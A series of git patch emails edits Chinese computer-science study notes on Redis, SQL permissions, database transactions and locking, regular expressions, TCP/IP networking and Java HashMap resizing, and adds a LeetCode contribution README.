From: CyC2018 <1029579233@qq.com>
Date: Mon, 6 Aug 2018 22:29:40 +0800
Subject: [PATCH 78/87] auto commit

---
 notes/Redis.md          | 15 +++++++++------
 notes/SQL.md            | 24 ++++++++++++------------
 notes/数据库系统原理.md | 27 ++++++++++++++++++---------
 notes/正则表达式.md     | 39 +++++++++++++++++++--------------------
 4 files changed, 58 insertions(+), 47 deletions(-)

diff --git a/notes/Redis.md b/notes/Redis.md
index c54287c8..0981abf0 100644
--- a/notes/Redis.md
+++ b/notes/Redis.md
@@ -416,7 +416,7 @@ Reids 具体有 6 种淘汰策略：
 | allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
 | noeviction | 禁止驱逐数据 |
 
-作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分 key 从中选出被淘汰 key。
+作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分并且从中选出被淘汰的 key。
 
 使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
 
@@ -440,7 +440,7 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 
 将写命令添加到 AOF 文件（Append Only File）的末尾。
 
-使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对硬盘的文件进行写入并不会马上将内容同步到磁盘文件上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到硬盘。有以下同步选项：
+使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到磁盘。有以下同步选项：
 
 | 选项 | 同步频率 |
 | :--: | :--: |
@@ -449,8 +449,8 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 | no | 让操作系统来决定何时同步 |
 
 - always 选项会严重减低服务器的性能；
-- everysec 选项比较合适，可以保证系统奔溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
-- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统奔溃时数据丢失的数量。
+- everysec 选项比较合适，可以保证系统崩溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
+- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统崩溃时数据丢失的数量。
 
 随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
 
@@ -553,9 +553,12 @@ Sentinel（哨兵）可以监听主服务器，并在主服务器进入下线状
 
 # 十三、分片
 
-分片是将数据划分为多个部分的方法，可以将数据存储到多台机器里面，也可以从多台机器里面获取数据，这种方法在解决某些问题时可以获得线性级别的性能提升。
+分片是将数据划分为多个部分的方法，可以将数据存储到多台机器里面，这种方法在解决某些问题时可以获得线性级别的性能提升。
 
-假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... 等等，有不同的方式来选择一个指定的键存储在哪个实例中。最简单的方式是范围分片，例如用户 id 从 0\~1000 的存储到实例 R0 中，用户 id 从 1001\~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
+假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... 等等，有不同的方式来选择一个指定的键存储在哪个实例中。
+
+- 最简单的方式是范围分片，例如用户 id 从 0\~1000 的存储到实例 R0 中，用户 id 从 1001\~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。
+- 还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
 
 根据执行分片的位置，可以分为三种分片方式：
 
diff --git a/notes/SQL.md b/notes/SQL.md
index ca9b7b29..4a44aee8 100644
--- a/notes/SQL.md
+++ b/notes/SQL.md
@@ -19,7 +19,7 @@
 * [十八、存储过程](#十八存储过程)
 * [十九、游标](#十九游标)
 * [二十、触发器](#二十触发器)
-* [二十一、事务处理](#二十一事务处理)
+* [二十一、事务管理](#二十一事务管理)
 * [二十二、字符集](#二十二字符集)
 * [二十三、权限管理](#二十三权限管理)
 * [参考资料](#参考资料)
@@ -553,7 +553,7 @@ WHERE col5 = val;
 
 # 十八、存储过程
 
-存储过程可以看成是对一系列 SQL 操作的批处理；
+存储过程可以看成是对一系列 SQL 操作的批处理。
 
 使用存储过程的好处：
 
@@ -642,11 +642,11 @@ SELECT @result; -- 获取结果
 
 DELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。
 
-UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改地，而 OLD 是只读的。
+UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改的，而 OLD 是只读的。
 
 MySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。
 
-# 二十一、事务处理
+# 二十一、事务管理
 
 基本术语：
 
@@ -708,12 +708,12 @@ SELECT user FROM user;
 
 **创建账户** 
 
+新创建的账户没有任何权限。
+
 ```sql
 CREATE USER myuser IDENTIFIED BY 'mypassword';
 ```
 
-新创建的账户没有任何权限。
-
 **修改账户名** 
 
 ```sql
@@ -734,18 +734,14 @@ SHOW GRANTS FOR myuser;
 
 **授予权限** 
 
+账户用 username@host 的形式定义，username@% 使用的是默认主机名。
+
 ```sql
 GRANT SELECT, INSERT ON mydatabase.* TO myuser;
 ```
 
-账户用 username@host 的形式定义，username@% 使用的是默认主机名。
-
 **删除权限** 
 
-```sql
-REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
-```
-
 GRANT 和 REVOKE 可在几个层次上控制访问权限：
 
 - 整个服务器，使用 GRANT ALL 和 REVOKE ALL；
@@ -754,6 +750,10 @@ GRANT 和 REVOKE 可在几个层次上控制访问权限：
 - 特定的列；
 - 特定的存储过程。
 
+```sql
+REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
+```
+
 **更改密码** 
 
 必须使用 Password() 函数
diff --git a/notes/数据库系统原理.md b/notes/数据库系统原理.md
index cabc2f97..151ffc0f 100644
--- a/notes/数据库系统原理.md
+++ b/notes/数据库系统原理.md
@@ -44,10 +44,10 @@
 
 ## 概念
 
-<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png" width="400"/> </div><br>
-
 事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。
 
+<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png" width="400"/> </div><br>
+
 ## ACID
 
 ### 1. 原子性（Atomicity）
@@ -77,7 +77,7 @@
 事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：
 
 - 只有满足一致性，事务的执行结果才是正确的。
-- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时要只要能满足原子性，就一定能满足一致性。
+- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时只要能满足原子性，就一定能满足一致性。
 - 在并发的情况下，多个事务并发执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
 - 事务满足持久化是为了能应对数据库崩溃的情况。
 
@@ -123,7 +123,6 @@ T<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插
 
 ## 封锁粒度
 
-<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
 
 MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
 
@@ -133,6 +132,8 @@ MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
 
 在选择封锁粒度时，需要在锁开销和并发程度之间做一个权衡。
 
+<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
+
 ## 封锁类型
 
 ### 1. 读写锁
@@ -304,7 +305,11 @@ SELECT ... FOR UPDATE;
 
 # 五、多版本并发控制
 
-多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC；可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
+多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。
+
+而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC。
+
+可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
 
 ## 版本号
 
@@ -372,11 +377,15 @@ delete;
 
 # 六、Next-Key Locks
 
-Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种锁实现。MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
+Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
+
+MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
 
 ## Record Locks
 
-锁定整个记录（行）。锁定的对象是记录的索引，而不是记录本身。如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚集索引，因此 Record Locks 依然可以使用。
+锁定的对象是记录的索引，而不是记录本身。
+
+如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚集索引，因此 Record Locks 依然可以使用。
 
 ## Gap Locks
 
@@ -420,7 +429,7 @@ SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
 
 如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。
 
-对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖；
+对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖。
 
 对于 A->B，B->C，则 A->C 是一个传递函数依赖。
 
@@ -452,7 +461,7 @@ SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
 
 ### 1. 第一范式 (1NF)
 
-属性不可分；
+属性不可分。
 
 ### 2. 第二范式 (2NF)
 
diff --git a/notes/正则表达式.md b/notes/正则表达式.md
index c6c21f2c..c713da63 100644
--- a/notes/正则表达式.md
+++ b/notes/正则表达式.md
@@ -23,11 +23,11 @@
 
 # 二、匹配单个字符
 
-正则表达式一般是区分大小写的，但是也有些实现是不区分。
-
 **.**  可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
 
-**\\**  是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
+**.**  是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
+
+正则表达式一般是区分大小写的，但是也有些实现是不区分。
 
 **正则表达式** 
 
@@ -43,11 +43,11 @@ My  **name**  is Zheng.
 
 **[ ]**  定义一个字符集合；
 
-0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间只能用在 [ ] 之间。
+0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。
 
-**-**  元字符只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
+**-**  只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
 
-**^**  在 [ ] 字符集合中是取非操作。
+**^**  在 [ ] 中是取非操作。
 
 **应用** 
 
@@ -78,9 +78,9 @@ abc[^0-9]
 |  \t |  制表符 |
 |  \v |  垂直制表符 |
 
-\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n ；\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
+\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n。
 
-. 是元字符，前提是没有对它们进行转义；f 和 n 也是元字符，但是前提是对它们进行了转义。
+\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
 
 ## 匹配特定的字符类别
 
@@ -105,11 +105,13 @@ abc[^0-9]
 |  \s | 任何一个空白字符，等价于 [\f\n\r\t\v]  |
 | \S  |  对 \s 取非  |
 
-\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10 ，等价于 \n，也就是它会匹配 \n 。
+\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10，等价于 \n。
 
 # 五、重复匹配
 
-**\+**  匹配 1 个或者多个字符， **\*** 匹配 0 个或者多个，**?** 匹配 0 个或者 1 个。
+-  **\+**  匹配 1 个或者多个字符
+-  **\** * 匹配 0 个或者多个
+-  **?**  匹配 0 个或者 1 个
 
 **应用** 
 
@@ -127,16 +129,11 @@ abc[^0-9]
 
 **abc.def<span>@</span>qq.com** 
 
-为了可读性，常常把转义的字符放到字符集合 [ ] 中，但是含义是相同的。
+-  **{n}**  匹配 n 个字符
+-  **{m, n}**  匹配 m\~n 个字符
+-  **{m,}**  至少匹配 m 个字符
 
-```
-[\w.]+@\w+\.\w+
-[\w.]+@[\w]+[\.][\w]+
-```
-
-**{n}**  匹配 n 个字符，**{m, n}** 匹配 m\~n 个字符，**{m,}** 至少匹配 m 个字符；
-
-\* 和 + 都是贪婪型元字符，会匹配最多的内容，在元字符后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
+\* 和 + 都是贪婪型元字符，会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
 
 **正则表达式** 
 
@@ -220,7 +217,9 @@ a.+c
 
 **应用** 
 
-匹配 IP 地址。IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
+匹配 IP 地址。
+
+IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
 
 - 一位数字
 - 不以 0 开头的两位数字

From f75f18722b8fcf3ca3f969375e18ea2d90db73fa Mon Sep 17 00:00:00 2001
From: Keqi Huang <keqih@smu.edu>
Date: Mon, 6 Aug 2018 23:15:46 +0800
Subject: [PATCH 79/87] =?UTF-8?q?Create=20leetcode=E6=80=BB=E7=BB=93.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 other/leetcode总结.md | 37 +++++++++++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 other/leetcode总结.md

diff --git a/other/leetcode总结.md b/other/leetcode总结.md
new file mode 100644
index 00000000..a864b791
--- /dev/null
+++ b/other/leetcode总结.md
@@ -0,0 +1,37 @@
+# LeetCode 面试必备
+ - 💪 就是干！如果你觉得有帮助请点个star，谢谢！
+
+> **欢迎任何人参与和完善：一个人可以走的很快，但是一群人却可以走的更远**
+
+## LeetCode 习题集合
+
+* [LeetCode 解题集合](https://github.com/apachecn/leetcode/docs/Leetcode_Solutions)
+
+
+## 模版要求
+
+> 提交PR基本要求（满足任意一种即可）
+
+* 1. 不一样的思路
+* 2. 优化时间复杂度和空间复杂度，或者解决题目的Follow up
+* 3. 有意义的简化代码
+* 4. 未提交过的题目
+
+> **案例模版**
+
+[模版：007. Reverse Integer 反转整数](https://github.com/apachecn/leetcode/docs/Leetcode_Solutions/007._Reverse_Integer.md)
+
+
+## 项目贡献者
+
+> 项目发起人
+
+* [@Lisanaaa](https://github.com/Lisanaaa)
+* [@片刻](https://github.com/jiangzhonglian)
+
+> 贡献者（欢迎大家来追加）
+
+* [@Lisanaaa](https://github.com/Lisanaaa)
+* [@片刻](https://github.com/jiangzhonglian)
+* [@小瑶](https://github.com/chenyyx)
+

From 963b1fccdf92f44ca249d57d16ca8ffc6ba083e0 Mon Sep 17 00:00:00 2001
From: Keqi Huang <keqih@smu.edu>
Date: Mon, 6 Aug 2018 23:17:13 +0800
Subject: [PATCH 80/87] =?UTF-8?q?Rename=20leetcode=E6=80=BB=E7=BB=93.md=20?=
 =?UTF-8?q?to=20leetcode=20=E6=80=BB=E7=BB=93.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 other/{leetcode总结.md => leetcode 总结.md} | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename other/{leetcode总结.md => leetcode 总结.md} (100%)

diff --git a/other/leetcode总结.md b/other/leetcode 总结.md
similarity index 100%
rename from other/leetcode总结.md
rename to other/leetcode 总结.md

From b98c2a709474a637752a28eab02f5b7804390c62 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 6 Aug 2018 23:23:25 +0800
Subject: [PATCH 81/87] auto commit

---
 notes/计算机网络.md | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/notes/计算机网络.md b/notes/计算机网络.md
index 9b213d74..91a4d84c 100644
--- a/notes/计算机网络.md
+++ b/notes/计算机网络.md
@@ -415,12 +415,14 @@ IP 地址 ::= {< 网络号 >, < 主机号 >}
 
 ### 2. 子网划分
 
-通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。注意，外部网络看不到子网的存在。
+通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。
 
 IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
 
 要使用子网，必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0，如果 B 类地址的子网占两个比特，那么子网掩码为 11111111 11111111 11000000 00000000，也就是 255.255.192.0。
 
+注意，外部网络看不到子网的存在。
+
 ### 3. 无分类
 
 无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念，使用网络前缀和主机号来对 IP 地址进行编码，网络前缀的长度可以根据需要变化。
@@ -445,7 +447,7 @@ ARP 实现由 IP 地址得到 MAC 地址。
 
 <div align="center"> <img src="../pics//b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
 
-每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。
+每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
 
 如果主机 A 知道主机 B 的 IP 地址，但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射，此时主机 A 通过广播的方式发送 ARP 请求分组，主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址，随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
 
@@ -465,12 +467,14 @@ ICMP 报文分为差错报告报文和询问报文。
 
 Ping 是 ICMP 的一个重要应用，主要用来测试两台主机之间的连通性。
 
-Ping 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报。
+Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文，目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
 
 ### 2. Traceroute
 
 Traceroute 是 ICMP 的另一个应用，用来跟踪一个分组从源点到终点的路径。
 
+Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报，并由目的主机发送终点不可达差错报告报文。
+
 - 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1，当 P1 到达路径上的第一个路由器 R1 时，R1 收下它并把 TTL 减 1，此时 TTL 等于 0，R1 就把 P1 丢弃，并向源主机发送一个 ICMP 时间超过差错报告报文；
 - 源主机接着发送第二个数据报 P2，并把 TTL 设置为 2。P2 先到达 R1，R1 收下后把 TTL 减 1 再转发给 R2，R2 收下后也把 TTL 减 1，由于此时 TTL 等于 0，R2 就丢弃 P2，并向源主机发送一个 ICMP 时间超过差错报文。
 - 不断执行这样的步骤，直到最后一个数据报刚刚到达目的主机，主机不转发数据报，也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP，因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
@@ -883,7 +887,9 @@ DHCP 工作过程如下：
 - JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
 - W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
 - [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
-- [Active and Passive FTP Transfers Defined  -  KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
+- [Active and Passive FTP Transfers Defined - KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
+- [Traceroute](https://zh.wikipedia.org/wiki/Traceroute)
+- [ping](https://zh.wikipedia.org/wiki/Ping)
 - [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
 - [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
 - [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)

From a06245c01c7391b36f71159e7a4ec49b383050f2 Mon Sep 17 00:00:00 2001
From: Elong <peielcn@gmail.com>
Date: Tue, 7 Aug 2018 10:39:08 +0800
Subject: [PATCH 82/87] =?UTF-8?q?Update=20Java=20=E5=AE=B9=E5=99=A8.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

8和16的二进制表示问题
---
 notes/Java 容器.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index 27a783f1..24ce2405 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -680,8 +680,8 @@ void transfer(Entry[] newTable) {
 假设原数组长度 capacity 为 8，扩容之后 new capacity 为 16：
 
 ```html
-capacity     : 00010000
-new capacity : 00100000
+capacity     : 00001000
+new capacity : 00010000
 ```
 
 对于一个 Key，它的哈希值如果在第 6 位上为 0，那么取模得到的结果和之前一样；如果为 1，那么得到的结果为原来的结果 + 8。

From 8c67483fe9ac599aa6f6358fb32a541d7e279666 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 7 Aug 2018 11:12:35 +0800
Subject: [PATCH 83/87] auto commit

---
 notes/Java 容器.md  |  8 ++--
 notes/计算机网络.md | 94 +++++++++++++++++++++++----------------------
 2 files changed, 52 insertions(+), 50 deletions(-)

diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index 24ce2405..bf1921fc 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -677,14 +677,14 @@ void transfer(Entry[] newTable) {
 
 在进行扩容时，需要把键值对重新放到对应的桶上。HashMap 使用了一个特殊的机制，可以降低重新计算桶下标的操作。
 
-假设原数组长度 capacity 为 8，扩容之后 new capacity 为 16：
+假设原数组长度 capacity 为 16，扩容之后 new capacity 为 32：
 
 ```html
-capacity     : 00001000
-new capacity : 00010000
+capacity     : 00010000
+new capacity : 00100000
 ```
 
-对于一个 Key，它的哈希值如果在第 6 位上为 0，那么取模得到的结果和之前一样；如果为 1，那么得到的结果为原来的结果 + 8。
+对于一个 Key，它的哈希值如果在第 6 位上为 0，那么取模得到的结果和之前一样；如果为 1，那么得到的结果为原来的结果 +16。
 
 ### 7. 扩容-计算数组容量
 
diff --git a/notes/计算机网络.md b/notes/计算机网络.md
index 91a4d84c..e80ba7f8 100644
--- a/notes/计算机网络.md
+++ b/notes/计算机网络.md
@@ -37,16 +37,16 @@
     * [TCP 首部格式](#tcp-首部格式)
     * [TCP 的三次握手](#tcp-的三次握手)
     * [TCP 的四次挥手](#tcp-的四次挥手)
-    * [TCP 滑动窗口](#tcp-滑动窗口)
     * [TCP 可靠传输](#tcp-可靠传输)
+    * [TCP 滑动窗口](#tcp-滑动窗口)
     * [TCP 流量控制](#tcp-流量控制)
     * [TCP 拥塞控制](#tcp-拥塞控制)
 * [六、应用层](#六应用层)
     * [域名系统](#域名系统)
     * [文件传送协议](#文件传送协议)
+    * [动态主机配置协议](#动态主机配置协议)
     * [远程登录协议](#远程登录协议)
     * [电子邮件协议](#电子邮件协议)
-    * [动态主机配置协议](#动态主机配置协议)
     * [常用端口](#常用端口)
     * [Web 页面请求过程](#web-页面请求过程)
 * [参考资料](#参考资料)
@@ -622,11 +622,11 @@ BGP 只能寻找一条比较好的路由，而不是最佳路由。
 
 - 首先 B 处于 LISTEN（监听）状态，等待客户的连接请求。
 
-- A 向 B 发送连接请求报文段，SYN=1，ACK=0，选择一个初始的序号 x。
+- A 向 B 发送连接请求报文，SYN=1，ACK=0，选择一个初始的序号 x。
 
-- B 收到连接请求报文段，如果同意建立连接，则向 A 发送连接确认报文段，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
+- B 收到连接请求报文，如果同意建立连接，则向 A 发送连接确认报文，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
 
-- A 收到 B 的连接确认报文段后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
+- A 收到 B 的连接确认报文后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
 
 - B 收到 A 的确认后，连接建立。
 
@@ -642,11 +642,11 @@ BGP 只能寻找一条比较好的路由，而不是最佳路由。
 
 以下描述不讨论序号和确认号，因为序号和确认号的规则比较简单。并且不讨论 ACK，因为 ACK 在连接建立之后都为 1。
 
-- A 发送连接释放报文段，FIN=1。
+- A 发送连接释放报文，FIN=1。
 
 - B 收到之后发出确认，此时 TCP 属于半关闭状态，B 能向 A 发送数据但是 A 不能向 B 发送数据。
 
-- 当 B 不再需要连接时，发送连接释放请求报文段，FIN=1。
+- 当 B 不再需要连接时，发送连接释放报文，FIN=1。
 
 - A 收到后发出确认，进入 TIME-WAIT 状态，等待 2 MSL（最大报文存活时间）后释放连接。
 
@@ -660,19 +660,9 @@ BGP 只能寻找一条比较好的路由，而不是最佳路由。
 
 客户端接收到服务器端的 FIN 报文后进入此状态，此时并不是直接进入 CLOSED 状态，还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由：
 
-- 确保最后一个确认报文段能够到达。如果 B 没收到 A 发送来的确认报文段，那么就会重新发送连接释放请求报文段，A 等待一段时间就是为了处理这种情况的发生。
+- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文，那么就会重新发送连接释放请求报文，A 等待一段时间就是为了处理这种情况的发生。
 
-- 等待一段时间是为了让本连接持续时间内所产生的所有报文段都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文段。
-
-## TCP 滑动窗口
-
-<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
-
-窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
-
-发送窗口内的字节都允许被发送，接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认，那么就将发送窗口向右滑动一定距离，直到左部第一个字节不是已发送并且已确认的状态；接收窗口的滑动类似，接收窗口左部字节已经发送确认并交付主机，就向右滑动接收窗口。
-
-接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
+- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文。
 
 ## TCP 可靠传输
 
@@ -688,6 +678,16 @@ TCP 使用超时重传来实现可靠传输：如果一个已经发送的报文
 
 其中 RTT<sub>d</sub> 为偏差。
 
+## TCP 滑动窗口
+
+窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
+
+发送窗口内的字节都允许被发送，接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认，那么就将发送窗口向右滑动一定距离，直到左部第一个字节不是已发送并且已确认的状态；接收窗口的滑动类似，接收窗口左部字节已经发送确认并交付主机，就向右滑动接收窗口。
+
+接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
+
+<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
+
 ## TCP 流量控制
 
 流量控制是为了控制发送方发送速率，保证接收方来得及接收。
@@ -725,7 +725,9 @@ TCP 主要通过四种算法来进行拥塞控制：慢开始、拥塞避免、
 
 在发送方，如果收到三个重复确认，那么可以知道下一个报文段丢失，此时执行快重传，立即重传下一个报文段。例如收到三个 M<sub>2</sub>，则 M<sub>3</sub> 丢失，立即重传 M<sub>3</sub>。
 
